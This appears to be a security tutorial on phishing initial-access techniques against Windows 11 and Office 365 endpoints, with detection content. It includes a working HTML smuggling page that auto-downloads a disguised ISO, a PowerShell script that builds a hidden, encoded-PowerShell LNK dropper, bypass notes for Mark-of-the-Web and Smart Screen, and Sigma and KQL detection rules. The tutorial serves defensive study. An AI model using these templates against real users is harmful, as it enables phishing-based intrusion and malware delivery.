Phishing and Initial Access Techniques
Phishing is still the #1 initial access vector in enterprise compromises. Modern defenses — sandboxed email, Safe Links, macro blocking, Smart Screen — have forced attackers toward payload formats that abuse legitimate browser and OS behavior rather than executable files. Understanding how each technique works at the file/protocol level is essential for building detections that do not rely solely on signature matching.
A red team needs code execution on a target employee who uses Office 365, Outlook on the web, and a corporate Windows 11 endpoint with Defender, Smart Screen, and macro execution blocked by policy. Email gateway strips executable attachments. You need a payload that arrives via email, passes the email gateway, passes Smart Screen, and achieves code execution without triggering Protected View or a User Account Control prompt.
The Modern Phishing Landscape
HTML Smuggling
HTML smuggling encodes a payload as a base64 JavaScript Blob inside an HTML file. When the browser renders the page, JavaScript assembles the binary and triggers a download — after the email gateway has already released the HTML attachment. The gateway scanned HTML and found no executables; the payload assembly happens client-side.
<!-- Minimal HTML smuggling page.
The gateway receives and passes the .html file (no EXE signature).
The browser executes the JS, reconstructs the binary, downloads it.
Works in all major browsers. -->
<!DOCTYPE html>
<html><body>
<script>
var b64 = "TVoQAAIAAAA..."; // base64-encoded payload here
function base64ToArrayBuffer(b64) {
var bin = atob(b64);
var buf = new ArrayBuffer(bin.length);
var view = new Uint8Array(buf);
for (var i=0; i<bin.length; i++) view[i] = bin.charCodeAt(i);
return buf;
}
var bytes = base64ToArrayBuffer(b64);
var blob = new Blob([bytes], {type: "octet/stream"});
var url = URL.createObjectURL(blob);
var a = document.createElement("a");
a.href = url;
a.download = "Invoice_Q3-2026.iso";
document.body.appendChild(a);
a.click();
</script>
<p>Loading document...</p>
</body></html>ISO Container — Strips Mark-of-the-Web
// Files inside an ISO/IMG container do NOT inherit the Zone.Identifier
// Alternate Data Stream (MOTW) when extracted on Windows 10/11 (before 2022 patch).
// After KB5016616 (Aug 2022), Windows propagates MOTW to ISO contents.
// However: password-protected ZIP and VHD files still bypass MOTW propagation.
//
// Construction: use mkisofs / ImgBurn to pack LNK+payload into ISO.
// Email sends the ISO; user mounts it (double-click); files inside have no MOTW;
// Smart Screen does not warn; LNK executes without "open file - security warning".
// Check MOTW programmatically:
HANDLE hFile = CreateFileW(path, GENERIC_READ, FILE_SHARE_READ, NULL,
OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
// ADS = "filename:Zone.Identifier:$DATA"
HANDLE hAds = CreateFileW(adsPath, GENERIC_READ, FILE_SHARE_READ, NULL,
OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
if (hAds == INVALID_HANDLE_VALUE) {
// No MOTW — no Smart Screen warning will fire
}LNK Dropper
// LNK (Windows shortcut) files can have arbitrary Target and Arguments.
// A malicious LNK can: execute wscript.exe / mshta.exe / PowerShell with hidden window.
// LNKs have no Mark-of-the-Web warning if extracted from ISO/VHD.
// Create via COM (IShellLink) or PowerShell WScript.Shell.
$WS = New-Object -ComObject WScript.Shell
$SC = $WS.CreateShortcut("C:\Temp\Invoice.lnk")
$SC.TargetPath = "C:\Windows\System32\cmd.exe"
$SC.Arguments = "/c powershell -ep bypass -w hidden -enc "
$SC.WorkingDirectory = "C:\Windows\System32"
$SC.IconLocation = "C:\Windows\System32\shell32.dll,0" # PDF icon
$SC.WindowStyle = 7 # 7 = Minimized (hidden)
$SC.Save()Adversary-in-the-Middle (AiTM) Phishing
AiTM phishing (Evilginx2/Modlishka) proxies a legitimate login page in real-time. The user authenticates to the real identity provider through the attacker's transparent reverse proxy. The attacker captures the session cookie post-authentication — bypassing MFA because the browser already completed the MFA challenge.
Phishing Technique Comparison
| Technique | MOTW? | Macro blocked? | Sandbox bypass? | Bypasses MFA? | Detection difficulty |
|---|---|---|---|---|---|
| Macro-enabled Office | Yes (Protected View) | Yes — blocked by default Win11 | Partial | No | Easy (known bad) |
| HTML smuggling → ISO | No (inside ISO) | N/A | Yes (browser assembly) | No | Medium |
| LNK + ISO container | No | N/A | Yes | No | Medium |
| OneNote embed (.one) | Sometimes | N/A | Partial | No | Medium (newer detection) |
| AiTM (Evilginx) | N/A | N/A | N/A | Yes — steals post-MFA cookie | High (behavioral anomaly only) |
| QR code → URL | N/A | N/A | Yes (email gateway can't scan QR dest) | No | High (image in email) |
Detection Engineering
title: HTML Attachment Opens Browser Which Downloads Executable
logsource:
product: windows
category: process_creation
detection:
browser_spawns_download:
ParentImage|contains:
- '\msedge.exe'
- '\chrome.exe'
- '\firefox.exe'
Image|endswith:
- '\wscript.exe'
- '\mshta.exe'
- '\powershell.exe'
- '\cmd.exe'
condition: browser_spawns_download
level: high
tags: [attack.initial_access, T1566.001]
title: LNK File Creates Process with Hidden Window
logsource:
product: windows
category: process_creation
detection:
selection:
CommandLine|contains|all:
- '-w hidden'
- '-enc'
parent:
ParentCommandLine|endswith: '.lnk'
condition: selection or parent
level: high
-- MDE KQL: ISO/VHD mount followed by LNK execution
DeviceProcessEvents
| where Timestamp > ago(1d)
| where InitiatingProcessFileName =~ "explorer.exe"
| where FileName in~ ("cmd.exe","powershell.exe","wscript.exe","mshta.exe")
| where ProcessCommandLine has_any ("-enc", "-e ", "bypass", "hidden")
| join kind=inner (
DeviceFileEvents
| where ActionType == "FileCreated"
| where FileName endswith ".iso" or FileName endswith ".img"
| project DeviceName, IsoTime=Timestamp, FileName
) on DeviceName
| where Timestamp between (IsoTime .. (IsoTime + 10m))
| project Timestamp, DeviceName, FileName, ProcessCommandLine
-- MDE KQL: AiTM indicator — impossible travel or new ASN login
AADSignInEventsBeta
| where Timestamp > ago(1d)
| where IsInteractive == 1 and ConditionalAccessStatus == "success"
| summarize
ips = make_set(IPAddress),
countries = dcount(CountryCode),
asns = dcount(AsnNumber)
by AccountUpn, bin(Timestamp, 30m)
| where array_length(ips) > 1 and (countries > 1 or asns > 1)Q&A
Why does placing a payload inside an ISO container help bypass Smart Screen, and how did Microsoft close this bypass?
Windows's Smart Screen checks the Zone.Identifier Alternate Data Stream (also called Mark-of-the-Web, MOTW) on files before executing them. When a file is downloaded from the internet, Windows sets ZoneId=3 in that ADS, marking it as "Internet" zone. Smart Screen sees this tag, checks the file's reputation against the cloud reputation database, and shows a warning or blocks execution for unknown/unsigned files.
The ISO bypass worked because when Windows mounted an ISO image and the user accessed files inside it, those files were not inheriting the parent ISO's Zone.Identifier. The ISO as a whole had MOTW (it was downloaded), but its contents — the LNK, the HTA file, whatever payload was packed inside — did not. Windows treated them as local files (Zone 0), skipping the Smart Screen reputation check entirely. The same was true for VHD/VHDX virtual disk files and some 7-Zip extractions.
Microsoft patched this in KB5016616 (Windows August 2022 Patch Tuesday). After the fix, Windows propagates the MOTW from a container file (ISO, ZIP, APPX) to all files extracted or accessed from within it. Files inside a downloaded ISO now carry ZoneId=3 and are subject to the same Smart Screen checks as directly downloaded executables. The password-protected ZIP remains a partial bypass today because Windows cannot inspect the ZIP contents to propagate the tag without the password — though many email gateways and cloud sandboxes will attempt to open common-password ZIPs via brute force.